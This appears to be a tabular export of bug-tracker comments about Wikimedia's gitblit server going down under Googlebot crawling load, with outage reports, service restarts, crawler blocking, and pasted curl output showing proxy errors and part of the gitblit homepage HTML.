> Do the misbehaving bots respect robots.txt?

Nope.",,,1375822950,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.761904761904762,0.6190476190476191,"(In reply to comment #23)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Nope."
242646,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #22)
> So bots aren't going to be allowed to index gitblit anymore since they can't
> seem to behave.

Do the misbehaving bots respect robots.txt?",,,1375822567,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.65,0.9,"(In reply to comment #22)
QUOTE
QUOTE

Do the misbehaving bots respect robots.txt?"
242640,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,So bots aren't going to be allowed to index gitblit anymore since they can't seem to behave.,,,1375822451,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,25.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,25.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8,0.85,So bots aren't going to be allowed to index gitblit anymore since they can't seem to behave.
242634,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #20)
> Down again?

Indeed. :-(

---
$ time curl https://git.wikimedia.org/
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

real	12m2.101s
user	0m0.010s
sys	0m0.028s
---",,,1375816643,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,9.5,0.0,0.0,4.5,0.0,0.0,0.5,0.5,1.5,0.0,2.0,0.0,0.0,3.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,12.5,3.9109195402298855,0.6436781609195402,"(In reply to comment #20)
QUOTE

Indeed. :-(

---
$ time curl URL
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

real	12m2.101s
user	0m0.010s
sys	0m0.028s
---"
242631,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Down again?,,,1375791780,,PHID-USER-wz5bw3q6zykhqbbeohzq,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Down again?
242627,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Restarted service.,,,1375681588,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,Restarted service.
242623,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #17)
> It's again inaccessible (my browser doesn't receive any reply) with antimony
> at 100 % load.

Confirmed that git.wikimedia.org is inaccessible currently; no idea about antimony's load.

Re-opening this bug as it's no longer resolved. Thank you, Nemo, for commenting here.

---
$ time curl https://git.wikimedia.org/
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

real	12m43.815s
user	0m0.010s
sys	0m0.024s
---",,,1375669136,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.5,5.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,5.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,1.0,1.5,0.5,0.5,2.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,11.5,0.5,0.0,4.5,0.0,0.0,0.5,0.5,1.0,0.0,1.0,0.0,1.0,5.0,12.5,0.0,1.0,0.0,1.0,0.0,0.0,1.5,0.0,2.0,0.5,0.0,12.5,4.0,0.6733333333333333,"(In reply to comment #17)
QUOTE
QUOTE

Confirmed that git.wikimedia.org is inaccessible currently; no idea about antimony's load.

Re-opening this bug as it's no longer resolved. Thank you, Nemo, for commenting here.

---
$ time curl URL
<!DOCTYPE HTML PUBLIC ""-//IETF//DTD HTML 2.0//EN"">
<html><head>
<title>502 Proxy Error</title>
</head><body>
<h1>Proxy Error</h1>
<p>The proxy server received an invalid
response from an upstream server.<br />
The proxy server could not handle the request <em><a href=""/"">GET&nbsp;/</a></em>.<p>
Reason: <strong>Error reading from remote server</strong></p></p>
</body></html>

real	12m43.815s
user	0m0.010s
sys	0m0.024s
---"
242618,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,It's again inaccessible (my browser doesn't receive any reply) with antimony at 100 % load.,,,1375636764,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,4,,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.85,1.0,It's again inaccessible (my browser doesn't receive any reply) with antimony at 100 % load.
242612,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,Closing this as resolved/fixed for now.,,,1374687493,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.7777777777777777,1.0,Closing this as resolved/fixed for now.
242604,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"So, it's a little sluggish still but it's at least staying up. Did some more puppetizing and blocked some misbehaving spiders that were causing it to fall over all the time.

Still want to up the heap and see if we can get some better performance out of it.",,,1374618927,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,14.0,0.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,5.0,2.0,5.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,4.0,4.0,2.0,0.0,3.75,0.7857142857142857,"So, it's a little sluggish still but it's at least staying up. Did some more puppetizing and blocked some misbehaving spiders that were causing it to fall over all the time.

Still want to up the heap and see if we can get some better performance out of it."
242597,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,I've got some new caching stuff that landed in master just for us :) Looking at turning that on today as well.,,,1374601182,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,3.7083333333333335,0.9583333333333334,I've got some new caching stuff that landed in master just for us :) Looking at turning that on today as well.
242590,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #5)
> For the record, it doesn't seem to be completely down, just really slow to
> respond.

To me it just serves ""Internal error"" messages. When CPU usage goes down a bit, you may happen to get some content, maybe curl is just being very patient and retrying a lot till that happens.",,,1374600397,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,3,,2.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,2.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,4.0,0.0,5.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,3.4545454545454546,0.8545454545454545,"(In reply to comment #5)
QUOTE
QUOTE

To me it just serves ""Internal error"" messages. When CPU usage goes down a bit, you may happen to get some content, maybe curl is just being very patient and retrying a lot till that happens."
242585,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #10)
> git.wikimedia.org continues to be broken. This is very frustrating.

You're telling me :(",,,1374597058,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,2.875,1.0,"(In reply to comment #10)
QUOTE

You're telling me :("
242582,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,We cant take stack trace right now since gitblit is running with Java 6 and we are missing the jstack utility.  That is bug 51859.,,,1374573819,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,10.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.6551724137931036,0.9310344827586207,We cant take stack trace right now since gitblit is running with Java 6 and we are missing the jstack utility.  That is bug 51859.
242580,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,git.wikimedia.org continues to be broken. This is very frustrating.,,,1374566967,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.363636363636363,0.9090909090909091,git.wikimedia.org continues to be broken. This is very frustrating.
242579,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"(In reply to comment #8)
>  14:42 apergos: (btw docs would be nice, is that really the right way to kick
> it?)
> 14:42 apergos: shot and restarted gitblit: on antinomy, cd /var/lib/gitblit,
> java -jar gitblit.jar & (see bug 51769) 
> 
> Can we help Ariel out? :)

Peachey88 helpfully created <https://wikitech.wikimedia.org/wiki/Git.wikimedia.org> and <https://wikitech.wikimedia.org/wiki/Gitblit>. Thank you, Peachey88!",,,1374518718,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,3.0,6.0,24.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.4242424242424243,0.6060606060606061,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Peachey88 helpfully created <URL and <URL Thank you, Peachey88!"
242576,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot," 14:42 apergos: (btw docs would be nice, is that really the right way to kick it?)
14:42 apergos: shot and restarted gitblit: on antinomy, cd /var/lib/gitblit, java -jar gitblit.jar & (see bug 51769) 

Can we help Ariel out? :)",,,1374511097,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,3.0,2.0,3.0,2.0,0.0,2.0,0.0,0.0,7.0,0.0,5.0,0.0,3.0,7.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.2758620689655173,0.8103448275862069," 14:42 apergos: (btw docs would be nice, is that really the right way to kick it?)
14:42 apergos: shot and restarted gitblit: on antinomy, cd /var/lib/gitblit, java -jar gitblit.jar & (see bug 51769) 

Can we help Ariel out? :)"
242571,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,This seems to be an issue again.,,,1374502907,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,This seems to be an issue again.
242565,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"Restarted the service again. Nothing was suspicious in the logs, but CPU was pegged at 100% :\",,,1374473332,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-m7yoxj62gdjohzchm7zw,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,14.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.9047619047619048,"Restarted the service again. Nothing was suspicious in the logs, but CPU was pegged at 100% :\"
242558,git.wikimedia.org (gitblit) goes down when getting overloaded by Googlebot,"For the record, it doesn't seem to be completely down, just really slow to respond. When I tried again, I got:

$ time curl https://git.wikimedia.org
<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Strict//EN"" ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"">
<html xmlns=""http://www.w3.org/1999/xhtml"" xml:lang=""en"" lang=""en"" ng-app=""""> 

	<!-- Head -->
	<head>
		<meta name=""viewport"" content=""width=device-width, initial-scale=1.0"">
		<meta http-equiv=""X-UA-Compatible"" content=""IE=Edge"" />
   		<title>Wikimedia</title>
		<link rel=""icon"" href=""gitblt-favicon.png"" type=""image/png""/>
		
		<link rel=""stylesheet"" href=""bootstrap/css/bootstrap.css""/>
		<link rel=""stylesheet"" href=""bootstrap/css/iconic.css""/>
		<link rel=""stylesheet"" type=""text/css"" href=""gitblit.css""/>
	<link rel=""stylesheet"" type=""text/css"" href=""bootstrap/css/bootstrap-responsive.css"" />
<style type=""text/css"">
.navbar-inner {
background-color: #FBFBFB;
border-bottom: 1px solid #39688E !important;
}
.navbar ul li:focus, .navbar .active {
border-bottom: 4px solid #9C000F;
}
.navbar ul.nav li a {
color: #002060;
}
.navbar ul.nav .active a {
color: #002060;
}
.navbar ul.nav li a:hover {
color: #002060 !important;
}
</style>
<script type=""text/javascript"" src=""https://www.google.com/jsapi""></script>
<script type=""text/javascript"" ><!--/*--><![CDATA[/*><!--*/
google.load(""visualization"", ""1"", {packages:[""corechart""]});
google.setOnLoadCallback(drawChart);
function drawChart() {
var data_ffa5c540 = new google.visualization.DataTable();
data_ffa5c540.addColumn('string', 'repository');
data_ffa5c540.addColumn('number', 'commits');
data_ffa5c540.addRows(85);
data_ffa5c540.setValue(0, 0, 'mediawiki/core');
data_ffa5c540.setValue(0, 1, 2.0);
data_ffa5c540.setValue(1, 0, 'mediawiki/extensions');
data_ffa5c540.setValue(1, 1, 2.0);
data_ffa5c540.setValue(2, 0, 'mediawiki/extensions/TranslationNotifications');
data_ffa5c540.setValue(2, 1, 2.0);
data_ffa5c540.setValue(3, 0, 'mediawiki/extensions/PollNY');
data_ffa5c540.setValue(3, 1, 1.0);
data_ffa5c540.setValue(4, 0, 'mediawiki/extensions/Nuke');
data_ffa5c540.setValue(4, 1, 1.0);
data_ffa5c540.setValue(5, 0, 'mediawiki/extensions/LastModified');
data_ffa5c540.setValue(5, 1, 1.0);
data_ffa5c540.setValue(6, 0, 'mediawiki/extensions/MoodBar');
data_ffa5c540.setValue(6, 1, 1.0);
data_ffa5c540.setValue(7, 0, 'mediawiki/extensions/Validator');
data_ffa5c540.setValue(7, 1, 1.0);
data_ffa5c540.setValue(8, 0, 'mediawiki/extensions/Phalanx');
data_ffa5c540.setValue(8, 1, 1.0);
data_ffa5c540.setValue(9, 0, 'mediawiki/extensions/MassEditRegex');
data_ffa5c540.setValue(9, 1, 1.0);
var chart_ffa5c540 = new google.visualization.PieChart(document.getElementById('chartRepositories'));
chart_ffa5c540.draw(data_ffa5c540, { title: 'active repositories', colors:['#3810a6','#7110a6','#1068a6','#a61029','#1056a6','#63a610','#a64210','#109ca6','#7610a6','#a61083',], legend: { position:'none' } });

var data_39b7080b = new google.visualization.DataTable();
data_39b7080b.addColumn('string', 'author');
data_39b7080b.addColumn('number', 'commits');
data_39b7080b.addRows(17);
data_39b7080b.setValue(0, 0, 'jeroendedauw');
data_39b7080b.setValue(0, 1, 28.0);
data_39b7080b.setValue(1, 0, 'Ori Livneh');
data_39b7080b.setValue(1, 1, 12.0);
data_39b7080b.setValue(2, 0, 'Kunal Mehta');
data_39b7080b.setValue(2, 1, 6.0);
data_39b7080b.setValue(3, 0, 'Yuki Shira');
data_39b7080b.setValue(3, 1, 4.0);
data_39b7080b.setValue(4, 0, 'legoktm');
data_39b7080b.setValue(4, 1, 3.0);
data_39b7080b.setValue(5, 0, 'Hoo man');
data_39b7080b.setValue(5, 1, 2.0);
data_39b7080b.setValue(6, 0, 'Santhosh Thottingal');
data_39b7080b.setValue(6, 1, 2.0);
data_39b7080b.setValue(7, 0, 'Jeroen De Dauw');
data_39b7080b.setValue(7, 1, 2.0);
data_39b7080b.setValue(8, 0, 'Kip');
data_39b7080b.setValue(8, 1, 2.0);
data_39b7080b.setValue(9, 0, 'Marius Hoch');
data_39b7080b.setValue(9, 1, 2.0);
var chart_39b7080b = new google.visualization.PieChart(document.getElementById('chartAuthors'));
chart_39b7080b.draw(data_39b7080b, { title: 'active authors', colors:['#a6106c','#71a610','#a1a610','#a61040','#a68010','#a68010','#a67410','#1022a6','#104ca6','#1080a6',], legend: { position:'none' } });

}

/*-->]]>*/</script>

<script type=""text/javascript"" src=""resources/com.gitblit.wicket.ng.NgController/angular.js""></script>
